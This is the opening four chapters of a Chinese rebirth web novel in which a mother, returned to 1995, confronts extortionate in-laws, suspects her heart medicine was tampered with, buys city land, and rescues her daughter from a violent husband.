《重生之我成了恶婆婆[九零]》
1. 第 1 章
陶枝静静躺在床上,等待着神魂归位。
她与阎王做了交易,拿这三十年的功德,换一次重生的机会。
本来她兢兢业业的,在地府打工只为升天。结果找孟婆唠嗑那天,站在望乡台前看了一眼,差点没把自己气得活了过来。
她死后没两年,这个家就散了。
老头子新娶了娇妻,自己分了家另过。大儿媳当家作主了,开始磋磨两个小姑子。大女儿被逼得早嫁,识人不清被家暴,没一个人给她撑腰。小女儿高中没读完,就跑去外地打工,结果被渣男骗得人财两失。小儿子是个鬼精灵,是最有出息的一个。可惜,他一心向着媳妇家,对哥姐们的遭遇,完全视而不见,更别说伸援手了。
陶枝看到,当场就炸了。换句话说,就算有人鞭她尸,她都不会这么气愤,反正她也死了几十年。但要是作践她的子女,陶枝只想扒了那人的皮。
她蹭蹭蹭去找阎王去了,孟婆是想拦都拦不住。
阎王爷问她:“你当真舍得?”
陶枝一脸肉痛:“谁叫我是当妈的呢。”
她凭着过人的交情,与三寸不烂之舌,磨得阎王不仅答应了她,额外再补了三十年的寿命。
陶枝挥泪告别孟婆,以及交情好的鬼魂,她义无反顾跳下还魂崖。
这一跳,她就回到了一九九五年,离她上辈子被气死还剩半年。
她抹抹眼角,笑着坐起来,这时间不早不晚,一切都还来得及。
这个时候,门口被一把推开,风一般刮进一个人,咋咋呼呼的就叫:“妈——妈——”
来人跑得太快,她左脚拌右脚,扑通摔了一跤。
陶枝被吓了一跳,下意识想给她一下,程曼笑嘻嘻爬起来,直接抱住她的手。
陶枝说:“松手。”
程曼撒娇:“哎呀妈,我不小心的,你答应不打我,我再松。”
陶枝一想到小女儿受的苦,心痛得像被烈火焚烧一般,哪里还舍得真打她。她点头:“我不打你。”
程曼放开手,蹲下来撅着屁股,朝床底下望去。
“你找什么?”
程曼说:“我的拖鞋,飞进去了。”
陶枝问:“黑漆漆的,看得清吗?”
程曼摇头,“看不见。”
陶枝无奈,站起来去找手电,再去拿晾衣杆,一起递给程曼,“凡事动动脑子。”
程曼接过工具:“谢谢妈。”她跪趴着,手电筒照着,再用棍子去够,一下就把鞋子扫出来,还有一个滴溜溜转的瓶子。
程曼捡起瓶子,看一眼上面的字,“妈你看,还老是说我呢,你的药都到床底下去了。”
陶枝接过来,“不能啊,我的药都在抽屉,放得整整齐齐的。”说着把柜子打开。
程曼好奇地探过头,“噫,妈,药没了。”
陶枝定睛一看,可不是,抽屉里的救心丸,本来放得好好的,现在是一瓶都没了。
她转过去,梳妆台上的药倒是还在,那是方便她每天记得吃的。
说到梳妆台,是搬来这里后,老头子给她打的。老头子说:“别人有的,你也得有;别人没有的,你若想要,我也找给你。”后来她死了,还听到有人嚼舌根,说是她享福太过,婆婆宠,丈夫疼,子女还孝顺。陶枝提前把福享尽了,这人不就得先走一步?气得她朝那人的祖宗直吐口水。
陶枝看了一眼女儿,“你动过我的药箱?”
程曼急了,“妈,我是那种不懂事的人吗?”
“那会是谁呢?”
程曼看向手里的瓶子,“妈,我们先看看还剩多少吧,不够的话得赶紧去医院开。”
一打开,两人都傻眼,里面是空的,一颗药都没有。
陶枝意识到,这已经不是恶作剧了。她接着发散思维,上辈子会不会不是她寿数到了,而是人为一手策划的意外呢?
她叮嘱程曼,“这事你先别声张,就咱俩知道就行了。”
程曼也感觉不对劲,她重重点头:“妈,你放心,我谁都不说。”
“包括你爸?”
程曼郑重点头,“包括我爸。”
陶枝重新把瓶子扔回床底,“好了,就当一切都没发生过。”她拍拍手:“你火急火燎的,找我什么事?”
程曼一拍脑袋,“我给忘了,大嫂娘家来了一群人,爸叫你赶紧过去看看。”
“你爸怎么说的?”
“他说:来者不善。”
陶枝心下一紧,难道因为她的重生,事情的走向产生变故了?
她急于求证,快步走出门。她拎着晾衣杆,边走边问:“他们现在人在哪?”
程曼回答:“我爸带他们上二楼办公室了。”
陶枝脚步一转:“你别跟着我,就留在一楼,如果你哥你姐回来,你帮忙拦着他们。”
程曼感觉脑子不够用,“他们难道想来闹事?”
陶枝摸摸她头:“小糊涂蛋。”
程曼拉住陶枝:“那你可不能去,他们那么多人,万一不小心碰到你怎么办?”
陶枝好笑:“你爸还在上面呢。”
“爸他是个大男人,吃不了多大的亏。”
“你可真是漏风的小棉袄,你小心我把这话告诉你爸。”
程曼嘟嘴:“你告状也不给去。”
陶枝抽出手,拍拍她的肩,“你把心放回肚子里,今天就让你见识下你妈的风采。”
程曼欲言又止,见怎么都劝不住,她眼珠子一转,跑去车间找到一根钢管,“妈,拿这个。要是他们对你不客气,你就像揍我一样揍他们。”
陶枝给她一个爆栗:“你哪里学来的歪脑筋?你是不是嫌我的命太长了?”
程曼把钢管扔了,摸摸发红的额头,嘟囔道:“我这不是担心你吗?”
“你在一楼,乖乖的就行,别的不许做。”
程曼说:“知道了。”
得益于挣到的寿命,陶枝感觉身体机能棒棒,浑身充满了力量,就像二十几岁时的状态。她万般感谢阎王爷,貌似又多赚了二十年。
她三步并作两步上楼,刚走到二楼走廊,就听到猛猛拍桌子的声音。
她快走两步,好家伙,沙发上坐了一溜的人,老头子单独坐在对面,一左一右还有两个人守着,活像古代的三堂会审上演。
陶枝走进去,覃家人瞥了她一眼,看她拎着根晾衣杆,没多想,以为她刚收衣服来着。
她未语先笑:“哟亲家来了?来之前怎么也不先说一声。”
只见对面的人脸上讪讪的。
大儿媳接话:“我以为您回村去了。”
“你们这么老远来,没有做到扫榻以迎,倒显得我们失礼了。”话锋一转:“亲家这次来,是有什么事?”
刚才陶枝的一顿乱拳,差点给覃家人整不会了。现在陶枝开口问,他们顺着竿子往上爬,迅速拾起刚才的话题:“亲家母,我女儿自从嫁过来,上孝公婆下敬丈夫,现在还给你们生了个大胖孙子,我们就想问问,你们家可有什么打算?”
陶枝坐老头子旁边,问他:“程晖呢?”
程向前回答:“一早就出去送货
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了。”
陶枝转向覃家人,“这是瞧着我家没人,您上门兴师问罪来了?”
覃老头说:“亲家母这是什么话?厉敏她没有功劳,那也有苦劳的嘛。看在她辛辛苦苦,给你们生了长孙的份上,做爷奶的多少也得有点表示吧。”
“方便问下,作为您的长外孙,您家准备给多少?”
覃厉敏她弟,覃大宝冷哼一声:“他姓程,又不姓覃。”
陶枝施施然往后一靠:“我不介意他改姓覃。”
覃厉敏一脸的不置信,“妈——”
陶枝摆摆手,打断她:“我尊重你们年轻人的想法,这种事不需要和我们商量。”
覃老头沉下脸:“亲家母,别岔开话题。”
陶枝也不客气了:“有话直说,有屁快放。”
“听说你叫厉敏她小姑子,读完高中还要考大学?”
陶枝点头:“当然。”
覃老头直拍大腿:“一个姑娘家家的,迟早都要嫁出去,读那么多书干什么?”
“我有钱,想怎么花,就怎么花。”
覃老头被噎了一下,气急之下一拍桌子:“亲家母,别怪我说话难听,那是你的钱吗?那是程晖他们的钱。”
陶枝看了一眼快开裂的茶几:“程晖的钱不是都给你们了吗?整整十万块,就结个了婚,一分都没带回来。”
覃大宝指着她的鼻子:“我姐说了,那是她的彩礼,你休想再拿回来,那钱她已经都给我了。”
陶枝摇摇头,覃家已经没救了。一个教育工作者,教出这么个玩意。每次来家,没喊过人,坐下就吃,看到就拿,半点教养都没有。也许人家觉得,这是自己大姐家,不讲求那些虚礼。陶枝可是亲眼看见了,覃厉敏源源不断的,抽程家的钱去供他挥霍,养得他胃口越来越大,满足不了他狮子大开口的时候,他都能对自己的爹娘和大姐拳打脚踢。唉,这就是报应。
陶枝扫视一圈,她就差直接开骂了,可是覃家人脸皮厚,一点也不在意,甚至还满脸自得。她的目光在大儿媳身上停留,覃厉害感觉像被猛兽盯上,冷不丁打了个寒颤,背后出了一层白毛汗。
覃厉敏连忙躲去她妈身后,借此回避她婆婆的视线。
陶枝摸摸下巴,也是,上梁不正下梁歪,这家子就没一个好的。
覃老头觉得陶枝在胡搅蛮缠,不想再跟她对话。他转去问老头子:“程老哥,你是什么想法,说出来听听看?”
程向前还好声好气回他:“在我们家,老婆子说了算,我们都听她的。”
覃老头一脸的不可思议:“你开厂,当老板,挣那么多钱,结果你听她的?”
程向前理所当然的点头。
覃老头呸他:“你简直丢尽我们男人的脸。”
陶枝嗤一声笑出来:“像你这样卖女求荣的,才叫男人?”
覃老头恼羞成怒,站起来一巴掌就挥过来。
陶枝一棍子就扫过去,用力之大,覃老头的手背,立马肿起一道红印子。
覃家的青壮都围过来,程向前挡在陶枝面前。
覃老头得意地说:“亲家,女子无才便是德。实话告诉你,想拿程晖的钱,供她小姑子读书,我们一家都不同意。除非你把家分了,不然这事没得谈。”
陶枝拉过椅子,好整以暇地坐下,仿佛刚才打人的不是她。
她笑盈盈地问:“哦,这家你想怎么分?”
覃老头看陶枝这样,以为她怕了。也是,一个女人,难道还能翻天了不成?他露出胜券在握的笑容,挥挥手叫子侄们散开。
2. 第 2 章
覃老头舔着脸:“我们要的不多,你两个儿子一人一份,然后给大孙子一份,你们俩自己留一份。然后是工厂赚的钱,每个月都一分为四,公平公正,你看怎么样?”
陶枝依然笑眯眯:“我看~你们长得这么丑,想的倒是非常美。”
覃厉敏的身子晃了一下,马脸上满是愤恨不甘,她怀疑婆婆在指名道姓。
覃大宝牛眼一瞪:“你这老不死的......”
陶枝懒怠和他说话,有人生没人教的崽子,她端起面前装水的碗,碗里的水就像一记耳光,劈头盖脸地冲他而去。
覃大宝“啊”叫了一声,覃老太看到心肝被欺负,扑过来就想打陶枝:“我和你拼了。”
陶枝没等她到跟前,顺势把手里的碗一扔,“咯”一声闷响,在覃老太脸上开了花,然后才滚落到地上四分五裂。
一股热流顺着她额头往下,覃老太手一摸,放声尖叫:“血!血!”头一歪,直接昏了过去。
陶枝撇了撇嘴,这也太不经吓了,可惜覃厉敏接住了她,不然她倒是很想看看滚地葫芦。
覃老头居然还坐得住,他冷森森地盯着陶枝:“亲家母这意思,是不同意分家了?”
陶枝掏掏耳朵,“哪里来的狗在吠?我都听不到人说话了。”
覃老头突兀的笑了:“敬酒你不吃,看来你要吃罚酒。大侄儿,我们砸!”
他带过来的覃家人,有一个算一个,看到什么就砸什么。
陶枝把电话抢过去,直接拨了妖妖灵,“喂,警察同志,我要报警,有人上门来敲诈勒索,他们没有得逞就开始砸东西,我的生命财产受到了严重威胁。”
那个年代,特别是在农村,人们的法律意识,普遍都很淡薄。即便听到陶枝在报警,他们也没人想到要阻止她。当然,如果有法律意识,才不会没事就挥拳头。因为在村子里,去给同村的人撑腰,这是很常见的事。他们一直都是这么做的,以前也没出过什么事,所以他们犯了法,自己也不知道。倒是覃老头很警觉,他大声暴喝:“还愣着干什么?赶快把电话线拔了。”
陶枝早防着这一招,她把电话线团吧团吧,抱着座机一起躲在角落。
她和警察说:“您听到了吧?我家在......你们可要快点来啊。”陶枝迅速报出地址,再啪一声把电话挂上。
陶枝把老头子推出去,接着把门给关上了。她对这一群强盗没任何好感,她露出今天最灿烂的笑容,“来吧,让我看看你们的能耐。”
陶枝把棍子武得虎虎生风,有一个算一个,专门敲他们的关节处,痛得他们哇哇大叫,有些还直接倒地缩成一团。覃大宝怀疑他们在演戏,就为了不打女人,因为这话说出去不好听。覃大宝很气,威胁说再不出力,回去后一分钱都不给。他一边说一边捏着拳头,自己就冲了过来。陶枝迅速侧身避开,转到旁边一脚踹向他的腘窝,只听得咔哒一声,覃大宝直接跪在了地上。
覃老头看着倒地的覃家人,没想过事情的发展会是这样。平时都是他压着别人打,最多上两三个人就够了,人太多了变成聚众斗殴,这事就没那么好糊弄。
覃厉敏抱着她妈无法动弹,现场站着的就剩他一个了,覃老头第一次产生了退意。但他又舍不得到手的好处,女儿可是答应他了,钱到手后给家里一半,先盖新楼房,再买两辆本田。
程曼带着警察上来了,陶枝瞧见程安也在,她向他点了点头。
覃老头咬着后槽牙:“亲家母,儿女大了,迟早要分家的,我这也是为了你们好。”
陶枝谢谢他:“可别,我受不起。有什么事,你和警察说吧。”
民警同志站在门口,看到满地的狼藉,有被砸烂的桌椅,倒地的饮水机,图纸和绘图工具,还有各种账本乱飞。警察同志冷着脸:“全部人,都给我出来。”
程曼第一个冲过来,朝陶枝竖大拇指:“妈,你是这个。”
陶枝说:“去去去,别挡路。”她也看到大儿子,站在老头子旁边,七魂像丢了六魄。
民警例行了解情况,粗略计算完损失后,把这群人给打包带走。覃老头带来的人,听着那一项项的赔偿金额,脸色是越来越苍白了,最终得出一个不小的数目。有人心底恨死覃老头了,想着回去之后怎么找补损失。
陶枝要是知道这些人的想法,只会哈哈大笑,然后再补一句:“这就叫偷鸡不成反蚀把米。”
更可怜的是,这群不知情者,还得自个骑自行车,自己把自己送进派出所。警察同志前后押队,负责一路跟着他们。
唯独留下覃厉敏和覃老太,陶枝懒怠看她们,吩咐程晖送她俩回去。
覃厉敏哭丧着一张脸:“妈,这就是我家,我哪也不去。”
陶枝不看她,只望着程晖。程晖把摩托车开出来,叫覃厉敏扶丈母娘上车。
覃厉敏不动弹,就在那抹眼泪。
程晖严肃地看着她,覃厉敏这才发觉,一直对她言听计从的老公,原来也是有脾气的。她不敢在这时候触霉头,只好跟着上车,一起被送回乡下娘家。
陶枝叫老头子:“你和我去趟派出所。”
程向前问:“还有事?”
“找安子反应情况,刚才人多眼杂,有些事不方便说。”陶枝说着,从桌子底下翻出录音机,把里面的磁带装进包里。
程向前瞠目结舌,“这个玩意,什么时候跑那去了?”
陶枝白他一眼,“我抱着衣服进门的,你忘了?”
“那没注意。”
“不重要,出发吧。”
程向前跨上CG125,看着陶枝坐好,才开始扭油门,车子像乌龟一样爬着走。
陶枝也没管别的,她直接去找程安,安子已经在办公室等着了。
她把磁带递过去,盯着程安的眼睛说:“这是今天的录音。我要说的是,安子,你追查下覃老头,就我之前知道的,除了今天你看到的□□,还有威迫利诱村里的妇女,横行霸道欺压鳏寡老人,把人家的钱财占为己有等等......”陶枝恶狠狠地说:“如果查实了,最差最差,先把他从小学校长的位置上撸下去,让这种人为人师表,只会祸害祖国的花朵,他多在位一天,恐怕女老师也不得安宁。”
程安感觉到责任重大,他直觉这不是小案子,他得找信得过的同事一起。但是,他有疑惑:“婶婶,你是怎么知道这些的?”
陶枝总不能告诉他,是她亲眼所见亲耳所闻,因此,她早就想好说辞了。
“覃玉芬,你认识她不?”
“记得,二堂哥的老婆。”
“我们这个儿媳妇,就是她给介绍的。我之前发现这个人,和相看时很不一样,我就去找玉芬,想问个明白。刚开始她还不肯说,我每次都带两块猪肉去,后来她才偷偷告诉我,其实她压根
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不想做媒的,因为古话说了:不做中不做保,不做媒人三代好。但是是覃老头把她爸妈,关在柴房里不给吃不给喝,逼着玉芬把覃厉敏介绍给我们。人家还发话:只许成功,不许成败。其他的事件,都是之后陆续听来的。”
“当然,这只是她的一面之词,我也得听听别人怎么说。后来我找人去覃家村,花钱撬开村里人的嘴,结果呀,他那些破事,村里好多人都知道。我这两下一对证,发现玉芬没骗我。”
程安气到拍桌子:“欺人太甚,简直欺人太甚!”他向陶枝承诺:“婶婶,你放心,多行不义必自毙。我一定尽我所能,将他绳之以法,让他罪有应得。”
陶枝放下心中大石,“好孩子,婶婶信你。”
她这种行为,在书上有个词,叫釜底抽薪。陶枝这下把自己给逗乐了。
回到家,几个儿女都回来了,仿若被轰炸过的办公室,也已经收拾得七七八八。
程曼邀功:“爸,你那些文件和图纸,还有本子和工具,我们没敢乱动,理整齐了给你放一边。”
程向前二话不说,麻利地掏出五块钱,程曼嘿嘿笑着接过,看他俩熟练的程度,这种交易不知发生过多少次。
陶枝走到厨房,大女儿正在做饭,部分饭菜已上桌,她高喊一声:“吃饭了。”
一家人陆陆续续进门,在自己的位置上坐下。
家里本来有煮饭阿姨,但今天是公众假期,厂里的人全部放假,阿姨也回家过节了。正因如此,在市里上班的大女儿,才能有空回来看看。
好几天没见大女儿了,陶枝笑眯眯的给她夹菜,旁边有两道声音同时响起:“妈,我也要。”
陶枝看着耍宝的小儿女,给这两人都夹了一筷子。
大儿子安静地吃饭,从头到尾都沉默着。
陶枝这四个儿女,各有各的性格特点。
大儿子程晖,今年二十六,跟着老头子干。妻子叫覃厉敏,无业。儿子叫程明澄,现在三岁,上幼儿园小班。
大女儿程星,二十三岁,在市里的食品厂上班。丈夫叫赵钧,在市里的药厂打杂。女儿叫赵今禾,现在一岁,赵钧的妈妈在带。
小儿子程晙,二十岁。初中毕业就不读书了,现在和朋友折腾他的小买卖。
小女儿程曼,十七岁,高二在读。
陶枝问程星:“小赵呢?”
程星回答:“他今天值班。”
“你怎么不带今禾回来?”
“婆婆说宝宝还小,怕吃到凉风闹肚子。”
陶枝撇撇嘴,这个小老太,这是怕孙女亲近外家。
还有一个不在座的,压根没有人提起。她的座位已被挪走,就像这个人没存在过。陶枝猜是两个小机灵鬼干的好事,总之陶枝感到心情舒畅。
回娘家的那位,单瞧她干的一桩桩事,两老本有的面子情,今天也被消磨殆尽。她和这个家的缘分已尽,就看程晖要怎么取舍了。
陶枝余光看到儿童餐椅,猛不丁才想起大孙子,她问程晖:“明澄呢?”
不管他妈怎么样,稚子无辜,陶枝这点胸襟还是有的。
程晖这时才说:“他妈把他接走了。”
陶枝默了默,“也好。”
程晖张了张嘴巴,紧接着又闭上了。
程晖的欲言又止,陶枝不是没看到,但她今天太累了,不想额外再给自己添堵。
3. 第 3 章
关于覃家上门逼着要钱,她上辈子就没遇到这事,应该是她死后才发生的。
她就说,怪不得她死后,覃家过得那么风光,原来他们把程家的钱,都划拉到自己的碗里了。抢了别人的钱,肥了自己的腰包,这日子能不滋润吗?陶枝也明白,程晖的不作为,也是帮凶的一环。
她真是完全想不到,寄予厚望的大儿子,长大后是这么个德性。但是回过头仔细想想,老头子若不是遇到她,也是个被人欺压的主啊。大儿子这个性格,撇开后天形成,也可以说是遗传。怪不得婆婆当时一眼就相中了她,给多少彩礼都愿意,就为了把她娶进门,这是为了让她撑起这个家呀。
婆婆是大家出身,读过书,有眼光,会看人。可惜她没有,想学婆婆做事,找个厉害点的儿媳,结果画虎不成反类犬,给儿子娶了这么个败家玩意。也怪她和老头子,一心扑在工作上,反而疏忽了家庭。
而且,刚才离得近的时候,陶枝隐约在覃厉敏身上,闻到一股很熟悉的药味。陶枝也观察了她的手,指尖有残留黑色的渍。陶枝心里敲起了警钟,排除一切不可能,剩下的就是真相,怪不得一家从来不去她坟前。现在她只想知道,程晖他,到底知不知情?
安静地吃完这顿饭,就各自回房休息。
夜深了,陶枝躺在床上,翻来覆去睡不着。
自从九二年,老头子退休后,开了这家机械厂。因为他技术好,同时也会创新,不好的还能改进,别的厂啃不来的订单,老头子基本都能接。他自己画图,自己设计,自己跑业务,一点一滴的,从父子三人开始,到现在的五十人小厂。虽说不是千人万人大厂,陶枝已经特别自豪了。具体赚了多少钱,只有夫妻两个知道,反正他们家一向节俭。外人看到算值钱的,就是这两栋三层宿舍楼,还有厂房,机器,和底下的地皮。
陶枝就记得,覃厉敏回娘家时,人家问她婆家是不是很有钱?覃厉敏就说:“几十万肯定是有的。”要知道,那时候月工资才几百块,农村一年可能就挣个两千,几十万,是他们想都不敢想的数字。所以覃家铤而走险,也要咬下程家这块肥肉。
在他们房里,有个大衣柜。陶枝把保险柜,藏在衣柜最深处,存折就锁保险柜里。陶枝其实没想防家里人,主要是工人们也一起住,她觉得还是保险为上。看到今天被动过的抽屉,陶枝就庆幸,保险柜说不定已经立过功了。
陶枝睡前翻了下存折,现在他们的定期存款,就已经有两百万了。还有预留的流动资金,再加上这些物业机械,他们的身家已然很可观。
财帛动人心,几十万就能引来豺狼,难说后面不会有虎豹。如果没有自保的手段,住在郊区其实并不安全。
陶枝再想到子女的下场,她的心像被油煎一般,滋滋滋的痛彻心扉。
程向前睡在另一张床,被她翻身的动静吵醒。
自从老头子呼噜越来越响,陶枝就赶他到别的房间去。不过陶枝心脏不好,程向前就又搬回来,但是是分开两张床睡。这其实也避免了陶枝的尴尬,她默默为自己的先见之明点赞。
程向前问:“阿枝,睡不着?”
陶枝坐起来,“程哥,我和你商量个事。”
程向前先去开灯,再去给她倒杯水,然后才坐下:“你说。”
“我想搬家。”
“搬到哪里去?”
“我们一家子,都搬到市里去。”
“那这个厂子怎么办?”
“厂子得继续开,还有这么些工人呢。你可以住厂里,或者你请人管。”
“怎么突然想搬家了?”
“今天的事提醒了我,咱们家这日子,在乡下太扎眼了。再者,曼曼高二,还有一年就要考大学,这镇上的高中,和市里的高中,师资力量就不一样。”
“第三,村里人都喊着要进城,,我们现在有这个条件,干脆趁机先搬了去,顺便给他们趟一下路。”
陶枝喝了口水,接着说:“第四,如果程晖能离了,带上孙子远离覃家人,这孩子就不会被教坏,程晖也不会被他们缠上。”
“第五,星星就在市里,我想离她近点,这样她随时可以回娘家,我们有空也能去看外孙女。”
“第六,小的还没结婚呢,如果去到市里,找个条件好点的,家境相当的伴侣,是不是能少一些糟心事?”
“第七,钱放在银行,又不能生娃,干脆换成市里的物业,每个孩子都有,算提前分家了。这样就算我哪天死了,也不用担心他们无瓦遮头。”
“最重要的一点,给机会孩子们走出去,看他们能不能闯出一番新天地。”
陶枝侃侃而谈,有理有据的,程向前看着特别高兴,他感觉老婆子在发光。他说:“你说得很有道理,那你按你想的去做吧。我没意见,都听你的。”
陶枝一时忘了,程家的优良传统,就是主打听老婆的。既然老头子同意了,她的心结就放开了。
“那让程晙陪我走一起,我明天就去市里寻摸房子。”顿了顿,陶枝又说:“这事先不告诉孩子们。”
程向前想了想,“是要瞒着程晖吗?”
“覃家的事还没了,先看程晖怎么处理吧。”陶枝适时打了个哈欠。
“时间不早了,睡吧。”程向前把灯给灭了。
陶枝一夜好眠。
翌日,陶枝叫上程晙,两人摇大巴去市里。在车里闷了三个小时,下车后,程晙揉着屁股蛋,嚷着腿都坐麻了,陶枝则扶着树在干呕。
程晙见到有卖凉茶的,连忙跑过去买两碗,他一口气喝完,然后再端给他妈。
陶枝喝了,感觉好不少,但还是不够,她想吃口辣的压一下。
把碗还给凉茶铺,程晙找了辆三轮摩托,叫师傅载去好吃的饭店。
陶枝深感安慰,这就是小儿子的长处了。别看他读书不行,出门在外,他还真是有一套,为人处事有分寸,做事也妥妥贴贴的,所以他的朋友不老少。上辈子,程向前老了,就愿意跟小儿子过。
三轮车司机,把他们送到一家餐厅,还没下车,就瞧见店门口排了长队。师傅极力推荐:“这家店,您别看它小,在我们这,出了名的好吃,价钱也算实惠。”
程晙问:“妈,你能等吗?”
陶枝没那么矫情,“没问题。”
程晙邀师傅一起:“看您地头熟,我们刚来,想找个指路的,您这车可以包日吗?”
陈大山乐开花,包日当然好啦,不用在路边吃灰,也不必担心没客。他忙不迭答应:“五十块一天,行吗?”
程晙知道行情,这个价很良心。他说:“那就拜托您了。”
陈大山赧然:“这孩子,真客气。”
饭菜确实不错,价格也很实在,程晙不禁对陈大山高看一眼。
吃过饭,他们开始满市区转。新建的楼房不多,陶枝看过都不满意,除了小还是
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小,根本就不够住。又一套房被否决后,陈大山就问:“大姐,你愿不愿意看地皮?”
陶枝眼睛一亮,和程晙对视一眼,立即应声道:“看看看。”
陈大山边开车,边给他们介绍。陶枝一听地理位置,就很满意,那里是以后的新城,并且城市规划做得很好,路宽,绿化好,还干净。
“不过,”陈大山停了一下:“这人是我亲戚,他急需钱周转,他是想把三百平一次性给卖了。”
陶枝一听,更心动了,因为她记得,好像明年还是后年,就不给在城里自建房了。陶枝顺着他的话说:“我们先去看,万一他愿意分开卖,老弟你不就能挣一笔介绍费?”
陈大山一听,果真更热情了。
陶枝去到地盘,一眼就看中了,她脑子里连房子怎么建,都已经开始有想法了。但她脸上没有表现出来,只叫陈大山约他的亲戚。
亲戚很快来到,隔壁有个茶馆,,他们就进去里面谈。
业主说:“我这地三百平,不单卖,一口价45万。”
陶枝问:“您有几本土地证?”
“三本。”
“每本一百平?”
“差不离。”
“如果是几个人合资,您这边能接受吗?”
“只要一次性给足钱,你们这么买我不管。”
“那您给个实价?”
“45万已经很实在了。”
“据我所知,现在的商品房,一平才一千块,您这单单地皮,就卖我一千五?”
业主也不生气:“商品房它没有地啊。”
陶枝微微笑:“您这地也只有70年呀。”
“但是你可以随便建。”
“但是您这地,是在郊区呀。”
业主反复确认:“你们是全款支付吗?”
陶枝直视他的眼睛:“我保证,农村人都想进城,我们存了半辈子的钱了。”
业主咬咬牙:“43万,不能再少了。”
陶枝寸步不让,“40万,我马上带人带钱来,我们明天就能签合同。”
程晙仿佛看到两人之间,噼里啪啦在闪着对线的火花。
业主的眼睛都红了,感觉他下一秒就要哭了:“42万,不能再少了。”
“成交。”陶枝也很爽快,“去律所找位律师,我们签一份协议。”
业主没想到陶枝这么时髦,还知道请律师呢,幸好他不是个骗子。
程晙拿着协议,一脸的不置信。他回过神来,手搭着陶枝,夸赞道:“陶女士,你今天完美诠释了,什么叫兵贵神速。”
陶枝拍掉他的手,“别贫嘴,我们去一趟你姐家。”
“啊,这个点吗?我们不回去了?”
陶枝瞪他:“就过去说句话的功夫。”
程晙投降,“您说了算。”
还是陈大山送他们去,在食品厂宿舍门口,陶枝付了他80块。
“这是今天的车费,介绍费要等我们先过了户。”
陈大山很高兴,“那明天我继续接你们?”
陶枝同意了。
程晙以前来过,他认得路,可以直接带陶枝爬家属楼。
刚走到605的门口,就听到一声惨叫,把陶枝吓一激灵。
她纳闷:“这声怎么有点耳熟?”
陶枝突然觉得心慌,她拉住程晙的手,急声问:“你姐住的哪一户?”
4. 第 4 章
陶枝现在心跳得很快,她甚至开始怀疑,上辈子的这个时候,她是不是其实已经死了?要不然该如何解释,这一切她未经历过的事,统统凑到一块发生了?
程晙顺着妈妈的视线,看到603门口围着几个阿姨,还有一位在不停敲门。他第一念头就是程星出事了,立马要冲过去看什么情况。
陶枝扯住了他,她逼着自己冷静。她说:“你赶紧去派出所,把民警同志带过来,越快越好。”
程晙点点头,他知道派出所在哪,他扭头就跑下楼梯。
陶枝一个箭步过去,靠近一点就能听到,里面不仅有女人沉闷的哭声,还有小孩子在嚎啕大哭,撕心裂肺的,听得人心都快碎了。
陶枝分开众人,挤到603的门前,她想确认一下:“发生什么事了?”
一位烫羊毛卷的大姐,既嫌弃又担忧的说:“这家男的,又在打老婆了。”
陶枝一听,预感被验证,怒火一下就冲上头。
她砰砰砰地拍门,“赵钧,我是你娘。”
不一会儿,里面传来大喘气的声音:“蒙谁呢,我娘逛公园去了。”
陶枝冷声问:“丈母娘是不是娘?”
“哈,我丈母娘只会呆乡下,她可从来都不进城的。”
听到这话,陶枝很想深刻反省下自己,但眼前显然不是什么好时机。
她往后退了两步,助力之后飞起一脚,只见薄薄的木板门,中间直接破了一个洞。
周围仿佛被静音了一样,除了小孩的哇哇哇哇,一时其他声音都消失了。
陶枝出声了:“赵钧,我希望你能开下门。”
“咔哒”一声,门开了。
陶枝第一眼就去看程星,只见她披头散发,衣衫不整的,蹲坐在地上。她闻声抬起头,小脸上的五指山清晰可见。
陶枝进屋,反手给了赵钧两个耳光,她盯着他:“我等会再找你算账。”
赵钧下意识想还手,但一看到是丈母娘,理智逼他把手给放下。这时,他的鼻血才缓缓流下来。
一米七几的大男人,在一米五几的陶枝面前,瞬间乖巧得像个孙子。
你以为这是武力压制吗?不,是金钱那强大又邪恶的力量。
陶枝过去把程星扶起,给她垫了个毛巾,让她安坐在沙发上。
陶枝感受到程星整个人在发抖,于是她很温柔很温柔,把女儿的头发往后拔,露出了红肿的脸颊,和被打到充血的眼睛。她心痛得眼眶都红了,给程星呼呼吹气,哄着她说:“星星,不怕,妈妈来了。”
小宝宝孤零零的,躺在冰冰凉的地上,没人管也没人哄,哭得上气不接下气。陶枝安抚了女儿,就立马过去抱起她。一入手,陶枝的第一感觉,是轻,宝宝轻得像一根羽毛,感觉随时都可能会飞走。陶枝掂了掂,一岁的小宝宝,像六个月婴儿的体重。宝宝小小的一张脸,只看得到眼睛,特别大,黑黝黝的就盯着人,陶枝的眼泪都下来了。
这就是她曾经粉雕玉琢的外孙女。
屋内身处水深火热之中,屋外却聊得热火朝天。
得益于陶枝刚才那一脚,把所有人都震住了,也就没人当着她面,说什么程星不好的话。
仔细听,风评简直一面倒。
“都说打人不打脸,小赵这次可真狠。”
“一看就是打上瘾了,以前还只敢打身上,现在是越来越猖狂了。”
“我们劝也劝了,也没少想招,结果照样动手,我们也没辙了。”
“说到底还是得小程立起来。”
“难啊,娘家又不来人,被打多了会怕的。”
“还是你们的工作做得不到位。”
“话不能这么说,我们除了口头警告,又能怎么办?小赵又不在我们厂里,想罚款和降职都做不到。”
“这样不行的,我和你们说。打人没有付过代价,男人打习惯了就会一直打一直打。”
“狗改不了吃屎呗。”
“可是清官难断家务事啊。”
“说得都不敢让女儿远嫁了。”
“有条件当然留在身边啦。”
“我女儿说了,她不想结婚,以前我还不理解,现在我打算随她去。”
这一声声一句句,陶枝像当众被审判,每一个字都像在诘问她。她的心仿若在滴血,是做父母的失职,才让女儿瞒她至今,受苦受难也不回家说一声。用后世年轻人的话来说:“是因为家里没能给她足够的安全感。”
外孙女的小手在拍她。陶枝回过神,小女孩给了她一个笑容。
陶枝的心都要化了,她捏着嗓音说话:“好宝宝,乖宝宝,外婆的亲亲小宝贝。”
程晙带着民警上来,引得门外一片哗然。因为这事而报警,这年代可当真少见。这些阿姨们像打了兴奋剂似的,不禁没有走开,反而人越聚越多,大家都活跃在吃瓜的最前线。
警察同志呢,深知大妈们的战斗力,顿时感到头大如斗。
陶枝倒是求之不得,见证的人越多越好。
房门大开,光线充足,还有邻居进来占据有利位置。
大姐们争先恐后的,“警察同志,你是不知道,这个小赵啊,三天两头就打人,我们劝也劝了,一点用都没有。”这是厂工会的。
“刚开始小两口还好好的,小赵他妈一来,那是两天一小吵,三天一大吵。吵着吵着,小赵就开始动手了。”这是住隔壁的。
“都怪我叫小程忍一忍,害闺女今天被打成这样。”这位大姐戏比较多,还拉起程星的手,默默的擦起了眼角。
